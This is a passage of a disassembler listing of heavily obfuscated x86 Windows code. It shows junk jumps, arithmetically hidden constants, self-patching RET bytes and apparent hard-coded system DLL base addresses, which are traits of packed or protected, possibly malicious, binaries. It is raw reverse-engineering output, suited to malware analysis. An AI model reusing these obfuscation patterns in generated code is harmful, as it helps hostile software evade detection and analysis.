; END OF FUNCTION CHUNK	FOR sub_43B7B5
; ---------------------------------------------------------------------------
dword_4425CC	dd 0			; DATA XREF: sub_43DF56:loc_43AEC8r
					; sub_44A7A9-91F3w ...

; =============== S U B	R O U T	I N E =======================================



sub_4425D0	proc near		; CODE XREF: sub_40140A+14Dp
					; sub_40158F+1C1p ...
		call	sub_4425E0
		jmp	ds:off_41E00C
sub_4425D0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B878

loc_4425DB:				; CODE XREF: sub_43B878-2364j
		jmp	loc_4409FA
; END OF FUNCTION CHUNK	FOR sub_43B878

; =============== S U B	R O U T	I N E =======================================



sub_4425E0	proc near		; CODE XREF: y22d6.y.:0043ABFCj
					; sub_4425D0p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A4D0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AC01 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043BFDB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043D0CB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440E3E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441B3F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00445514 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CB8E SIZE 00000018 BYTES

		pop	edx
		jnb	loc_43AC01
		mov	eax, [esp+0]
		jmp	loc_43BFDB
sub_4425E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_4425EF:				; CODE XREF: sub_43B7B5+9B62j
		shl	edi, 2

loc_4425F2:				; CODE XREF: sub_43B7B5:loc_44CEA2j
		push	offset sub_445362
		jmp	nullsub_232
; END OF FUNCTION CHUNK	FOR sub_43B7B5
; ---------------------------------------------------------------------------

loc_4425FC:				; CODE XREF: y22d6.y.:0044E372j
		mov	eax, ds:dword_444B94
		or	eax, eax
		jnz	loc_43D6B0
		jmp	loc_43EC7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_44260F:				; CODE XREF: sub_44E5C7:loc_441858j
		not	eax
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_442611:				; CODE XREF: sub_43B7B5:loc_447D34j
		mov	[edx], ecx
		jmp	loc_44C761
; END OF FUNCTION CHUNK	FOR sub_43B7B5
; ---------------------------------------------------------------------------
		push	ecx
		sub	eax, 6A156D7Ah
		jmp	sub_44D793
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55B

loc_442624:				; CODE XREF: sub_43C55B:loc_44B5D4j
		mov	ds:off_41E090, eax
		lea	eax, sub_4422AA
		mov	byte ptr [eax],	0C3h
		jmp	loc_4463C9
; END OF FUNCTION CHUNK	FOR sub_43C55B

; =============== S U B	R O U T	I N E =======================================



sub_442638	proc near		; CODE XREF: sub_41A0B7+14Cp
					; sub_442638+5j
					; DATA XREF: ...
		call	sub_44E1BD
		jmp	ds:off_41E094
sub_442638	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_442643:				; CODE XREF: sub_44057E+81B3j
		jmp	loc_43E95E
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA5D

loc_442648:				; CODE XREF: sub_44AA5D-85BCj
		jmp	loc_44D04C
; END OF FUNCTION CHUNK	FOR sub_44AA5D
; ---------------------------------------------------------------------------
		test	edx, 3CE90A0Eh
		jmp	loc_4489A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447896

loc_442658:				; CODE XREF: sub_447896:loc_444517j
		xchg	ebp, [esp+0]
		call	sub_44ABC9
		mov	eax, 0B9726E5Ah
		call	sub_43CA1A
		jmp	loc_446510
; END OF FUNCTION CHUNK	FOR sub_447896
; ---------------------------------------------------------------------------
		push	0F9061CE4h
		pop	eax
		and	eax, ds:4000E3h
		add	eax, 0E504BEE1h
		call	sub_43CA1A
		mov	ds:off_41E06C, eax
		jmp	loc_448D4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C712

loc_442691:				; CODE XREF: sub_43C712+43FCj
		jns	loc_445528

loc_442697:				; CODE XREF: sub_43C712:loc_437C5Dj
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		push	ebx
		call	sub_442770

loc_4426A5:				; CODE XREF: y22d6.y.:0043FAB6j
		jmp	loc_43779D
; END OF FUNCTION CHUNK	FOR sub_43C712
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E110
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BEF7

loc_4426B0:				; CODE XREF: sub_43BEF7+EEFAj
		jmp	loc_447DE5
; END OF FUNCTION CHUNK	FOR sub_43BEF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A359

loc_4426B5:				; CODE XREF: sub_44A359-C060j
		jmp	nullsub_230
; END OF FUNCTION CHUNK	FOR sub_44A359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4426BA:				; CODE XREF: sub_4432B8-8E82j
		jmp	loc_438353
; END OF FUNCTION CHUNK	FOR sub_4432B8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		dd 0FFFF514Ah
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6E1

loc_4426C4:				; CODE XREF: sub_43A6E1-2C38j
		jmp	loc_43B0E3
; END OF FUNCTION CHUNK	FOR sub_43A6E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D313

loc_4426C9:				; CODE XREF: sub_44D313+Bj
		jo	loc_4444BF
		add	eax, [esp+0]
		adc	edx, [esp+arg_0]
		add	esp, 8
		call	sub_442FA7
; END OF FUNCTION CHUNK	FOR sub_44D313
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4426DE:				; CODE XREF: sub_4432B8+235j
		jmp	sub_446425
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
		adc	esi, ebx
		jmp	sub_4438A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E63

loc_4426EA:				; CODE XREF: sub_439E63:loc_443DE6j
		mov	ebp, 53F62E99h
		mov	ebx, [ebp+0]
		jmp	loc_449515
; END OF FUNCTION CHUNK	FOR sub_439E63
; ---------------------------------------------------------------------------
		popf
		jmp	sub_444A91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C758

loc_4426FD:				; CODE XREF: sub_44C758-6EC5j
		call	sub_439A90

loc_442702:				; CODE XREF: sub_44B17B+2628j
		jmp	loc_4432C9
; END OF FUNCTION CHUNK	FOR sub_44C758
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_442707:				; CODE XREF: sub_448EB6-7D88j
		jmp	loc_442D7D
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_44270C:				; CODE XREF: sub_43C6D7+3C26j
					; DATA XREF: sub_43B11C+Fo
		lea	eax, sub_4475B3
		mov	byte ptr [eax],	0C3h
		jmp	sub_4475B3
; END OF FUNCTION CHUNK	FOR sub_43C6D7

; =============== S U B	R O U T	I N E =======================================



sub_44271A	proc near		; CODE XREF: sub_405168+1Bp
					; sub_405231+1Fp
					; DATA XREF: ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437EC7 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004383D0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438653 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004388A2 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00438EBB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AFED SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043B3F2 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0043BCED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BD19 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C3A7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043CA5D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D104 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043D36E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043D570 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043D76A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FBA3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004404AD SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00440661 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044148E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00441BD8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004424D6 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0044298B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044451C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444799 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444877 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00444AF9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445A5A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00445C46 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446EE0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447BC1 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004481DD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044971D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00449A76 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00449E4F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00449FCA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044A54B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044A640 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A683 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044ABBE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044AC93 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044AE34 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044B902 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044D60A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DE8E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E1CF SIZE 00000018 BYTES

		jnz	loc_447BC1
		push	5E3871FEh
		jmp	loc_44B902
sub_44271A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A78

loc_44272A:				; CODE XREF: sub_4432B8-88CCj
					; sub_439A78:loc_43EB33j
		xor	eax, 276B6890h
		add	eax, 823FEEE0h
		popf
		xchg	eax, [esp-4+arg_0]
		jmp	sub_43F7FF
; END OF FUNCTION CHUNK	FOR sub_439A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E15A

loc_44273F:				; CODE XREF: sub_43E15A+54D3j
		xchg	edx, [esp+4+var_4]
		jmp	loc_445167
; END OF FUNCTION CHUNK	FOR sub_43E15A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FFE2

loc_442747:				; CODE XREF: sub_43FFE2+203Aj
		adc	ebx, eax
; END OF FUNCTION CHUNK	FOR sub_43FFE2
; START	OF FUNCTION CHUNK FOR sub_439051

loc_442749:				; CODE XREF: sub_43FFE2:loc_43BCF7j
					; sub_439051:loc_44565Dj
		mov	eax, 10h
		push	offset sub_43E196
		jmp	nullsub_48
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444581

loc_442758:				; CODE XREF: sub_444581-8C1Dj
		jz	loc_437AE6
		jmp	loc_43879F
; END OF FUNCTION CHUNK	FOR sub_444581
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_442763:				; CODE XREF: sub_44B489-12C48j
		jz	loc_44B062
		jmp	loc_43C54B
; END OF FUNCTION CHUNK	FOR sub_44B489
; ---------------------------------------------------------------------------

loc_44276E:				; CODE XREF: y22d6.y.:00449B74j
		and	ebx, ebp

; =============== S U B	R O U T	I N E =======================================



sub_442770	proc near		; CODE XREF: sub_43C712+5F8Ep

; FUNCTION CHUNK AT 0043871F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044B8F7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044DCD5 SIZE 00000015 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	0F99F432Dh
		pop	ebx
		rol	ebx, 0Dh
		sub	ebx, 307CDC8Ch
		add	ebx, 0D6F930DCh
		jmp	loc_43871F
sub_442770	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B252

loc_44278E:				; CODE XREF: sub_43B252-1748j
		pop	edx

loc_44278F:				; CODE XREF: sub_43B252:loc_439B02j
		xor	eax, 6824F656h
		push	eax
		push	46EAE991h
		jmp	loc_44A32F
; END OF FUNCTION CHUNK	FOR sub_43B252
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4427A0:				; CODE XREF: sub_448EB6-355j
		jp	loc_44769E
		mov	esi, [edx]

loc_4427A8:				; CODE XREF: sub_448EB6:loc_4477D0j
		mov	eax, [ebp-4]

loc_4427AB:				; CODE XREF: y22d6.y.:004492CEj
		add	eax, 3Ch
		mov	eax, [eax]
		push	edx
		push	0ED72E748h
		jmp	loc_43ABB3
; END OF FUNCTION CHUNK	FOR sub_448EB6

; =============== S U B	R O U T	I N E =======================================



sub_4427BB	proc near		; DATA XREF: sub_44B0E5+Fo

; FUNCTION CHUNK AT 0043CBC2 SIZE 00000005 BYTES

		pop	ecx
		push	offset sub_4372D3
		jmp	loc_43CBC2
sub_4427BB	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp]
		call	sub_4480DE
		jmp	loc_43FDAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_4427D3:				; CODE XREF: sub_43B7B5+D6C5j
		push	edx
		push	0AFEFEE6Ah
		pop	edx
		add	edx, 0C815B413h
		jnz	loc_4489BA
; END OF FUNCTION CHUNK	FOR sub_43B7B5
; START	OF FUNCTION CHUNK FOR sub_4396B2

loc_4427E6:				; CODE XREF: sub_4396B2+6j
		jmp	nullsub_49
; END OF FUNCTION CHUNK	FOR sub_4396B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C694

loc_4427EB:				; CODE XREF: sub_43C694-31F3j
		jmp	loc_437148
; END OF FUNCTION CHUNK	FOR sub_43C694
; ---------------------------------------------------------------------------

loc_4427F0:				; CODE XREF: y22d6.y.:0044BCD5j
		xchg	ebx, [esp]
		push	0C35FE290h
		pop	eax
		and	eax, 2E7D4742h
		test	eax, 8
		jmp	loc_43762E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442856

loc_44280A:				; CODE XREF: sub_442856-A738j
		jnz	loc_449920
		jmp	loc_44B2A9
; END OF FUNCTION CHUNK	FOR sub_442856
; ---------------------------------------------------------------------------
		push	430186CCh
		pop	eax
		or	eax, 14289F94h
		jns	loc_43DCD4
; START	OF FUNCTION CHUNK FOR sub_447BB2

loc_442827:				; CODE XREF: sub_447BB2+Aj
		jmp	loc_43E360
; END OF FUNCTION CHUNK	FOR sub_447BB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_44282C:				; CODE XREF: sub_43B98D+93E3j
		jmp	loc_44985E
; END OF FUNCTION CHUNK	FOR sub_43B98D
; ---------------------------------------------------------------------------
		sub	edi, ecx
		shl	edi, 16h
		jmp	loc_43DCD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F35E

loc_44283B:				; CODE XREF: sub_43F35E+52F0j
		sbb	esi, ebx
		and	eax, 0DC55CE52h

loc_442843:				; CODE XREF: sub_43F35E:loc_44DE68j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43EF08
		jmp	loc_43C63C
; END OF FUNCTION CHUNK	FOR sub_43F35E
; ---------------------------------------------------------------------------

loc_442854:				; CODE XREF: y22d6.y.:0044825Aj
		xchg	ecx, edi

; =============== S U B	R O U T	I N E =======================================



sub_442856	proc near		; CODE XREF: sub_441030-5349p

; FUNCTION CHUNK AT 00438118 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439847 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CC4C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044182A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044280A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448681 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B2A9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E216 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044E47F SIZE 0000001B BYTES

		xchg	eax, [esp+0]
		pop	eax
		pop	edx
		mov	eax, [ebp-4]
		mov	al, [eax]
		js	loc_44E216
		jmp	loc_439847
sub_442856	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ecx
		push	0DB4A45Dh
		pop	ecx
		rol	ecx, 15h
		or	ecx, 797C10C7h
		add	ecx, 4442961h
		mov	[ecx], eax
		jmp	loc_44BDA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44374A

loc_442888:				; CODE XREF: sub_44374A:loc_4375CCj
		not	esi
		rol	ecx, 13h
		mov	ebx, [eax]
		jmp	loc_4424BA
; END OF FUNCTION CHUNK	FOR sub_44374A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_442894:				; CODE XREF: sub_44AEDA-B1D9j
		cmp	eax, 2CBE3216h
		jmp	loc_449915
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_355. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4428A0:				; CODE XREF: sub_448EB6-61CEj
		jmp	loc_43981A
; ---------------------------------------------------------------------------

loc_4428A5:				; CODE XREF: sub_448EB6-B921j
		jmp	loc_43D2F9
; END OF FUNCTION CHUNK	FOR sub_448EB6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4428AA	proc near		; CODE XREF: sub_438DAA:loc_4445A2j
		push	ebp
		mov	ebp, esp
		push	offset sub_44CD2E
		jmp	nullsub_217
sub_4428AA	endp

; ---------------------------------------------------------------------------
		jle	loc_44DE6E
		jmp	loc_43BF95

; =============== S U B	R O U T	I N E =======================================



sub_4428C2	proc near		; CODE XREF: sub_448CE6j
					; DATA XREF: sub_448CDCo

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437E91 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438319 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004390F1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004391C6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043A64C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B157 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043EF67 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441A8A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00447AB8 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00449BDE SIZE 00000015 BYTES

		push	eax
		push	2B5A9639h
		pop	eax
		xor	eax, ds:4000E7h
		jmp	loc_438319
sub_4428C2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4428D4:				; CODE XREF: y22d6.y.:004459CDj
		sub	eax, 0A2E99D60h
		adc	edi, 30D9E5B5h

loc_4428E0:				; CODE XREF: y22d6.y.:loc_4459AEj
		or	ecx, 50DB91E5h
		sub	ecx, 26297128h
		rol	ecx, 4
		add	ecx, 551DB198h
		xchg	ecx, [esp]
		jmp	sub_43CA1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E242

loc_4428FD:				; CODE XREF: sub_44E242-8030j
		mov	eax, [esp+0]
		push	edx
		call	sub_438E86
		mov	eax, 0D4280129h
		push	edx
		jmp	loc_43E88D
; END OF FUNCTION CHUNK	FOR sub_44E242
; ---------------------------------------------------------------------------

loc_442911:				; CODE XREF: y22d6.y.:loc_447110j
		push	offset sub_445F44
		jmp	loc_43CAB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_44291B:				; CODE XREF: sub_44BCC2-7CE2j
		jl	loc_446E4A
		mov	eax, 0FEA91DCEh
		pushf
		jmp	loc_446E43
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------

loc_44292C:				; CODE XREF: y22d6.y.:0044B565j
		adc	edx, esi
; START	OF FUNCTION CHUNK FOR sub_44439D

loc_44292E:				; CODE XREF: sub_44439D:loc_44B553j
		xor	eax, 57895C0Ch
		jns	loc_44820C
		shr	edx, 1Ah
		jmp	loc_44820A
; END OF FUNCTION CHUNK	FOR sub_44439D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC01

loc_442942:				; CODE XREF: sub_43EC01:loc_449EC0j
		or	eax, 37B7FF82h
		add	eax, 70DAA70Eh
		rol	eax, 16h
		add	eax, 48053DE4h
		xor	eax, 3C63B8D0h
		call	sub_43CA1A
		mov	ds:off_41E170, eax
		lea	eax, loc_4383D5
		jmp	loc_43EFAC
; END OF FUNCTION CHUNK	FOR sub_43EC01
; ---------------------------------------------------------------------------
		call	sub_44E14E

; =============== S U B	R O U T	I N E =======================================



sub_442978	proc near		; CODE XREF: sub_44A22A-994Bp
					; y22d6.y.:0044C0BEj
		xchg	ebx, [esp+0]
		pop	ebx
		push	559E3902h
		sub	edx, eax
		jmp	loc_43E160
sub_442978	endp

; ---------------------------------------------------------------------------

loc_442988:				; CODE XREF: y22d6.y.:004481EAj
		and	edi, edx
		cdq
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_44298B:				; CODE XREF: sub_44271A:loc_4481DDj
		sub	ecx, 135FA247h
		rol	ecx, 17h
		add	ecx, 8C6F9545h
		xchg	ecx, [esp+8+var_8]
		jmp	loc_44A640
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4398FF

loc_4429A2:				; CODE XREF: sub_4398FF+15j
					; y22d6.y.:0044DC50j
		rol	edx, 2
		or	edx, 0D6789656h
		add	edx, 20C6B8C2h
		xchg	edx, [esp+34h+var_34]
		jmp	sub_44B17B
; END OF FUNCTION CHUNK	FOR sub_4398FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44123E

loc_4429B9:				; CODE XREF: sub_44123E:loc_439F89j
		jnz	loc_448BBC
		jmp	loc_4465A5
; END OF FUNCTION CHUNK	FOR sub_44123E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438F17

loc_4429C4:				; CODE XREF: sub_438F17+1j
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], eax

loc_4429CA:				; CODE XREF: y22d6.y.:0043DDE7j
					; sub_448EB6:loc_4490BDj
		push	68F84612h
		pop	eax

loc_4429D0:				; CODE XREF: y22d6.y.:loc_43916Fj
		sub	eax, 9FF17646h
		jmp	loc_4485CC
; END OF FUNCTION CHUNK	FOR sub_438F17
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_221. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449739

loc_4429DC:				; CODE XREF: sub_449739+9j
		jmp	sub_44C8BF
; END OF FUNCTION CHUNK	FOR sub_449739
; ---------------------------------------------------------------------------

loc_4429E1:				; CODE XREF: y22d6.y.:00444B77j
		jmp	loc_449269
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4429E6:				; CODE XREF: sub_4432B8-AF62j
		jmp	sub_43F7FF
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437833

loc_4429EB:				; CODE XREF: sub_437833:loc_43A33Fj
		mov	ebp, esp
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_441968
		push	offset loc_4440A7
		jmp	nullsub_69
; END OF FUNCTION CHUNK	FOR sub_437833
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_442A00:				; CODE XREF: sub_44E5C7:loc_43B6D1j
		xor	edx, 199DC263h
		add	edx, ebp
		add	edx, 0DE180F32h
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_44C761
		jmp	loc_447A42
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; ---------------------------------------------------------------------------
		push	0D9A70F91h
		pop	edx
		and	edx, 0C204C32Fh
		jnz	loc_440C2A
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_442A31:				; CODE XREF: sub_438B66+FD47j
		jnz	loc_44DB60

loc_442A37:				; CODE XREF: sub_438B66+BD78j
					; y22d6.y.:loc_44A5B1j
		add	edx, 891C9A47h
		add	edx, ebp
		add	edx, 0D50FFA93h
		mov	edx, [edx]
		jmp	loc_445A42
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_442A4C:				; CODE XREF: sub_4432B8:loc_43B224j
					; y22d6.y.:loc_44492Ej
		push	offset loc_44DEC5
		jmp	nullsub_263
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_442A56:				; DATA XREF: sub_443BA0+8o
		jnz	loc_43A354
		mov	eax, [ebp-14h]
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		xor	edx, edx
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_442A67:				; CODE XREF: sub_448EB6:loc_442CCEj
		jmp	loc_44BD91
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4385ED

loc_442A6C:				; CODE XREF: sub_4385ED+7AD0j
		add	eax, [esp-0Ch+arg_8]
		adc	edx, [esp+4]
		jmp	loc_43E8F5
; END OF FUNCTION CHUNK	FOR sub_4385ED
; ---------------------------------------------------------------------------
dword_442A78	dd 77E60000h		; DATA XREF: sub_443EF1:loc_4401D6r
					; sub_443EF1+5r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D7E0

loc_442A7C:				; CODE XREF: y22d6.y.:loc_43D53Dj
					; sub_44D7E0+7j
		jmp	loc_440A66
; END OF FUNCTION CHUNK	FOR sub_44D7E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B674

loc_442A81:				; CODE XREF: sub_44B674-199Cj
		jmp	nullsub_174
; END OF FUNCTION CHUNK	FOR sub_44B674
; ---------------------------------------------------------------------------
		dw 35A0h
		dd 0B939B26Bh, 46333695h, 63B164B8h, 1E63D300h
					; DATA XREF: sub_443EF1:loc_443F06o
					; sub_44540D+8A1Bo
byte_442A98	db 1			; DATA XREF: sub_43F501+1D0Dr
					; sub_448EB6+21w
		db 17h,	0F2h, 0AFh
dword_442A9C	dd 6C8CD16Eh, 633217C6h	; DATA XREF: sub_43F501+1D1Do
; ---------------------------------------------------------------------------
		fadd	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_44B674

loc_442AA6:				; CODE XREF: sub_44B674-1FDCj
		jmp	loc_43E216
; END OF FUNCTION CHUNK	FOR sub_44B674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_442AAB:				; CODE XREF: sub_44B489-76EEj
		jmp	loc_44CE75
; END OF FUNCTION CHUNK	FOR sub_44B489
; ---------------------------------------------------------------------------

loc_442AB0:				; CODE XREF: y22d6.y.:00439646j
		jmp	locret_4473AD
; ---------------------------------------------------------------------------
		db 50h,	0B3h, 96h
dword_442AB8	dd 77F50000h		; DATA XREF: sub_43F501:loc_439F7Ar
					; sub_448EB6+1Cw
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449956

loc_442ABC:				; CODE XREF: sub_449956+17j
		jmp	loc_43E5FA
; END OF FUNCTION CHUNK	FOR sub_449956
; ---------------------------------------------------------------------------
		sbb	ecx, 554C8121h
		jmp	sub_444865
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_442ACC:				; CODE XREF: sub_449641-B2EFj
		push	eax
		mov	eax, edx
		xchg	eax, [esp+8+var_8]
		push	edi
		mov	edi, eax
		jmp	loc_43879A
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------

loc_442ADA:				; CODE XREF: y22d6.y.:0043B8C0j
		and	edx, 51D7648Dh
		add	edx, 0BE809C23h
		mov	[edx], eax
		xchg	eax, [esp]
		mov	edx, eax
		pop	eax
		jmp	loc_43BA8A
; ---------------------------------------------------------------------------
